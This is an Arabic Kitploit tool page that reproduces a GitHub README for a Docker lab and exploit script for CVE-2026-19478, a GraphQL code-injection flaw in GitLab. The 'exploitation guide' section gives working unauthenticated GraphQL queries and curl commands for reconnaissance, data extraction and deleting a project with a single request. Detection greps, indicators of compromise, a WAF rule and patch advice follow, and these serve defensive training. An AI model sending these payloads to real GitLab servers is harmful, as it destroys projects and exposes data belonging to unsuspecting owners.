Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Gitlab-CVE-2026-19478 — مختبر استغلال وسكربت مُعبّآن في حاويات Docker لثغرة CVE-2026-19478، وهي حقن كود GraphQL حرِج وغير مصادق عليه في GitLab يتيح استدعاء دوال Ruby بشكل عشوائي، وحذف المشاريع، واستخراج البيانات. | Kitploit
أدوات/GitHubGitHub/punitdarji/gitlab-cve-2026-19478
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار أمان APIاختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubpunitdarji/gitlab-cve-2026-19478

Gitlab-CVE-2026-19478

مختبر استغلال وسكربت مُعبّآن في حاويات Docker لثغرة CVE-2026-19478، وهي حقن كود GraphQL حرِج وغير مصادق عليه في GitLab يتيح استدعاء دوال Ruby بشكل عشوائي، وحذف المشاريع، واستخراج البيانات.

عرض المستودع
منذ 2 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-19478 — حقن توجيهات @gl_introduced في GraphQL الخاص بـ GitLab

حقن كود عن بُعد بدون مصادقة عبر توجيه GraphQL في GitLab CE/EE — احذف أي مشروع عام بطلب HTTP واحد

مختبر اختبار اختراق عملي يعيد إنتاج CVE-2026-19478، وهي ثغرة حرجة (CVSS 9.4) في واجهة GraphQL API الخاصة بـ GitLab. يسمح توجيه @gl_introduced للمهاجمين غير المصادَق عليهم بتنفيذ أساليب Ruby عشوائية على الكائنات في جانب الخادم — بما في ذلك حذف المشاريع، واستخراج البيانات، ونقل الملكية — بدون أي مصادقة.

يشغّل هذا المختبر نسخة حقيقية وضعيفة من GitLab CE 19.2.0 داخل Docker لممارسة استغلال واقعية.

جدول المحتويات

  • ملخص الثغرة
  • كيف يعمل الاستغلال
  • مخطط تدفق الهجوم
  • إعداد المختبر
  • دليل الاستغلال
  • استخدام سكربت الاستغلال
  • الكشف ومؤشرات الاختراق
  • المعالجة
  • المراجع
  • إخلاء المسؤولية
  • تواصل معنا

ملخص الثغرة

تنزيل الأداة
الحقلالقيمة
معرّف CVECVE-2026-19478
درجة CVSS9.4 (حرجة)
المنتجGitLab Community Edition (CE) / Enterprise Edition (EE)
نوع الثغرةحقن كود / تنفيذ أساليب عشوائية (CWE-94)
متجه الهجومالشبكة (عن بُعد)
المصادقةغير مطلوبة
تفاعل المستخدملا شيء
تعقيد الهجوممنخفض
الإصدارات المتأثرة18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3
الإصدارات المُصحَّحة18.11.11, 19.0.8, 19.1.6, 19.2.4
مكتشف الثغرةhiimguardian (عبر HackerOne)
تاريخ التصحيح17 أغسطس 2026

الأثر

يمكن لمهاجم عن بُعد بدون مصادقة أن:

  • يحذف أي مشروع عام بشكل دائم
  • يستخرج البيانات الداخلية ورموز المسؤول والأسرار
  • يعدّل رؤية المشروع وملكيته وإعداداته
  • ينفّذ أساليب Ruby عشوائية على نموذج Project في جانب الخادم
  • يؤرشف أو ينقل المشاريع دون تصريح

كيف يعمل الاستغلال

توجيه @gl_introduced

يستخدم GitLab توجيه GraphQL مخصصًا @gl_introduced(version: "X.Y") لدعم النشر المتدرج (rolling deployments). عندما يضيف إصدار أحدث من GitLab حقلًا إلى واجهة GraphQL API، تتعامل النسخ الأقدم مع الاستعلامات التي تشير إلى تلك الحقول الجديدة بسلاسة عبر إرجاع null بدلًا من إحداث خطأ.

مسار الكود القابل للاستغلال

الملف: lib/gitlab/graphql/version_filter/future_field_fallback.rb (الأسطر 14-36)

التحليل خطوة بخطوة:

  1. FutureFieldFilter يفحص استعلامات GraphQL الواردة. عندما يحتوي حقل على @gl_introduced(version) بإصدار أحدث من إصدار الخادم الحالي، يقوم بإزالة الحقل وتعيين context[:contain_future_fields] = true.

  2. IntroducedTracer يستعيد مستند الاستعلام الأصلي في وقت التنفيذ، معيدًا الحقول المُزالة إلى شجرة الصياغة المجردة (AST).

  3. FutureFieldFallback#get_field يعترض كل عملية بحث عن حقل أثناء التنفيذ. يتحقق من ثلاثة شروط:

    • هل علامة contain_future_fields مضبوطة؟ ✅
    • هل الحقل غير موجود في المخطط (schema)؟ ✅
    • ألا يبدأ الاسم بـ __؟ ✅
    • هل اسم الحقل آمن؟ ❌ لا يوجد أي تحقق!
  4. عندما تنجح الفحوصات الثلاثة جميعها، يُنشئ حقلًا جديدًا GraphQL::Schema::Field بدون فئة محلل (resolver class).

  5. في graphql-ruby، يُحلَّ الحقل الذي لا يحتوي على محلل عبر استدعاء object.public_send(field_name) على كائن Ruby الأساسي — محوّلًا اسم حقل المهاجم إلى استدعاء أسلوب عشوائي على نموذج Project من نوع ActiveRecord.

الإصلاح (19.2.4+)

يستبدل تصحيح GitLab الإرسال الضمني للأساليب بمحلل صريح NilResolver يعيد nil دون شروط، مما يحافظ على التوافق مع النشر المتدرج مع القضاء على تنفيذ الأساليب العشوائية:

root@kitploit:~
# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL

# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
  resolver_class: NilResolver)  # ← always returns nil

مخطط تدفق الهجوم

root@kitploit:~
                    ATTACKER (unauthenticated)
                              │
                              │  POST /api/graphql
                              │  { project(fullPath: "victim/repo") {
                              │      name
                              │      destroy @gl_introduced(version: "99.0")
                              │  }}
                              │
                              ▼
               ┌──────────────────────────────┐
               │     GitLab GraphQL API        │
               │     (no auth required)        │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   1. FutureFieldFilter        │
               │   "destroy" has @gl_introduced│
               │   version 99.0 > 19.2.0      │
               │   → Strip field              │
               │   → Set contain_future_fields │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   2. IntroducedTracer         │
               │   → Restore original query   │
               │   "destroy" is back in AST   │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   3. FutureFieldFallback      │
               │   "destroy" not in schema? ✓  │
               │   Flag set? ✓                 │
               │   Not __introspection? ✓      │
               │   → Synthesize field          │
               │   → NO RESOLVER attached      │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   4. graphql-ruby resolution  │
               │   No resolver found →         │
               │   object.public_send(:destroy)│
               │                               │
               │   Project.find("victim/repo") │
               │          .destroy()           │
               │                               │
               │   ██ PROJECT DELETED ██        │
               └──────────────────────────────┘

إعداد المختبر

المتطلبات الأساسية

  • تثبيت Docker و Docker Compose
  • توفر 4 GB RAM على الأقل لـ Docker (GitLab يستهلك موارد كثيرة)
  • Python 3 (لسكربت الاستغلال)
  • متصفح ويب أو curl / httpie لاختبار واجهة API

بدء سريع — GitLab CE 19.2.0 حقيقي (قابل للاستغلال)

root@kitploit:~
# Clone or navigate to the lab directory
cd CVE-2026-19478

# Pull and start the vulnerable GitLab instance
docker compose up -d

# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable

# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh

نقاط الوصول

الخدمةURLبيانات الاعتماد
واجهة ويب GitLabhttp://localhostroot / P@ssw0rd123!
واجهة GraphQL APIhttp://localhost/api/graphqlغير مطلوبة
مستكشف GraphQLhttp://localhost/-/graphql-explorerمطلوب تسجيل الدخول
SSHlocalhost:2222—

بديل خفيف (محاكاة)

للأجهزة ذات الموارد المحدودة أو لبدء تشغيل أسرع:

root@kitploit:~
docker compose -f docker-compose.simulated.yml up --build -d
# Access at http://localhost:5000

إيقاف / إعادة تعيين كاملة

root@kitploit:~
# Stop the lab
docker compose down

# Full reset (removes all data volumes)
docker compose down -v

دليل الاستغلال

المستوى 1 — الاستطلاع (بدون مصادقة)

تحقق من إصدار الخادم:

root@kitploit:~
curl -s http://localhost/api/v4/version | jq
# {"version": "19.2.0", "enterprise": false}

عدد المشاريع العامة عبر GraphQL (بدون مصادقة):

root@kitploit:~
{
  projects(membership: false) {
    nodes {
      id
      name
      fullPath
      visibility
    }
  }
}

اكتشف توجيه @gl_introduced عبر استكشاف المخطط (schema introspection):

root@kitploit:~
{
  __schema {
    directives {
      name
      description
      args { name type { name } }
      locations
    }
  }
}

المستوى 2 — تفعيل الثغرة

استخدم @gl_introduced مع إصدار مستقبلي على حقل غير موجود في المخطط:

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    class @gl_introduced(version: "99.0")
  }
}

إذا كانت النسخة قابلة للاستغلال، يُرجع class اسم فئة Ruby ("Project")، مما يؤكد إرسال الأساليب العشوائية.

المستوى 3 — استخراج البيانات

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    object_id @gl_introduced(version: "99.0")
    to_s @gl_introduced(version: "99.0")
  }
}

المستوى 4 — استغلال تخريبي

تحذير: ما يلي سيحذف المشروع بشكل دائم.

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    destroy @gl_introduced(version: "99.0")
  }
}

أساليب أخرى قابلة للاستغلال في نموذج Project الخاص بـ GitLab:

الأسلوبالأثر
destroyيحذف المشروع بشكل دائم
archiveيؤرشف المشروع
transferينقل ملكية المشروع
attributesيفرّغ جميع سمات قاعدة البيانات
repositoryيصل إلى كائن المستودع
membersيعرض أعضاء المشروع

أمثلة باستخدام curl

root@kitploit:~
# Enumerate public projects
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ projects(membership: false) { nodes { id name fullPath visibility } } }"}' | jq

# Verify arbitrary method dispatch
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ project(fullPath: \"root/pwnsystem\") { name class @gl_introduced(version: \"99.0\") } }"}' | jq

# Delete a project (DESTRUCTIVE)
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ project(fullPath: \"root/gitlabproject\") { name destroy @gl_introduced(version: \"99.0\") } }"}' | jq

الكشف ومؤشرات الاختراق

تحليل السجلات

root@kitploit:~
# Search GitLab production logs for exploitation attempts
grep -i "gl_introduced" /var/log/gitlab/gitlab-rails/production.log

# Search for high version numbers (exploitation signature)
grep -oP '@gl_introduced\(version:\s*"\K[^"]+' /var/log/gitlab/gitlab-rails/production.log | \
  awk -F. '$1 > 20 {print}'

مؤشرات الاختراق (IOC)

المؤشرالوصف
@gl_introduced(version: "99.0")محاولة استغلال بإصدار مرتفع بشكل غير واقعي
أسماء الحقول: destroy, delete, update, transferاستهداف أساليب ActiveRecord التدميرية
عمليات حذف مشاريع غير متوقعةمشاريع تختفي دون إجراء من المسؤول
تغييرات في الرؤيةمشاريع عامة تصبح خاصة فجأة
نقل الملكيةمشاريع تُنقل إلى مستخدمين مجهولين

قواعد جدار الحماية WAF

احظر طلبات GraphQL التي تحتوي على @gl_introduced بأرقام إصدارات مرتفعة:

root@kitploit:~
# Nginx WAF rule
if ($request_body ~* "@gl_introduced.*version.*\"[2-9][0-9]\." ) {
    return 403;
}

المعالجة

  1. طبّق التصحيح فورًا — حدّث إلى GitLab 18.11.11+ أو 19.0.8+ أو 19.1.6+ أو 19.2.4+
  2. تخفيف عبر WAF — احظر طلبات GraphQL التي تحتوي على @gl_introduced بسلاسل إصدارات مرتفعة على مستوى البروكسي العكسي/جدار الحماية WAF
  3. سجلات التدقيق — راجع سجلات نشاط المشاريع بحثًا عن تعديلات أو عمليات حذف أو تغييرات رؤية غير مصرح بها
  4. سجلات الوصول — ابحث في سجلات خادم الويب عن أنماط الاستغلال (انظر قسم الكشف أعلاه)
  5. الاستجابة للحوادث — إذا تأكد الاستغلال، تحقق من استخراج البيانات واستعد المشاريع المحذوفة من النسخ الاحتياطية


اعتمادات PoC

CVE-2026-19478

المراجع

  • نشرة GitLab الأمنية — 17 أغسطس 2026
  • OWASP A03:2021 — الحقن
  • CWE-94: تحكم غير سليم في توليد الكود (حقن الكود)
  • OX Security: تحليل ثغرات GitLab GraphQL
  • Help Net Security: ثغرة حرجة في GitLab
  • CyCognito: تنبيه تهديد ناشئ
  • The Hacker News: ثغرة حرجة في GraphQL الخاص بـ GitLab

إخلاء المسؤولية

تم بناء هذا المختبر حصريًا للتعليم الأمني المصرح به والتدريب على اختبار الاختراق. يجب استخدامه فقط في بيئات معزولة وخاضعة للتحكم تملكها أو لديك تصريح كتابي صريح لاختبارها.

لا تستخدم التقنيات أو الأدوات أو كود الاستغلال من هذا المختبر ضد أي نظام دون تصريح مناسب. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني بموجب قانون الاحتيال وإساءة استخدام الحاسوب (CFAA) والقوانين المماثلة في جميع أنحاء العالم.

المؤلفون والمساهمون غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذا المختبر أو محتوياته.


تواصل معنا

تابعنا على Instagram   تواصل معنا على LinkedIn

تابع @pwnsystem على Instagram للحصول على نصائح يومية في الأمن السيبراني، وتفصيلات الثغرات (CVE)، وشروحات الاستغلال خطوة بخطوة.
تواصل مع Punit Darji على LinkedIn للحصول على رؤى أمنية مهنية وتحديثات المختبر.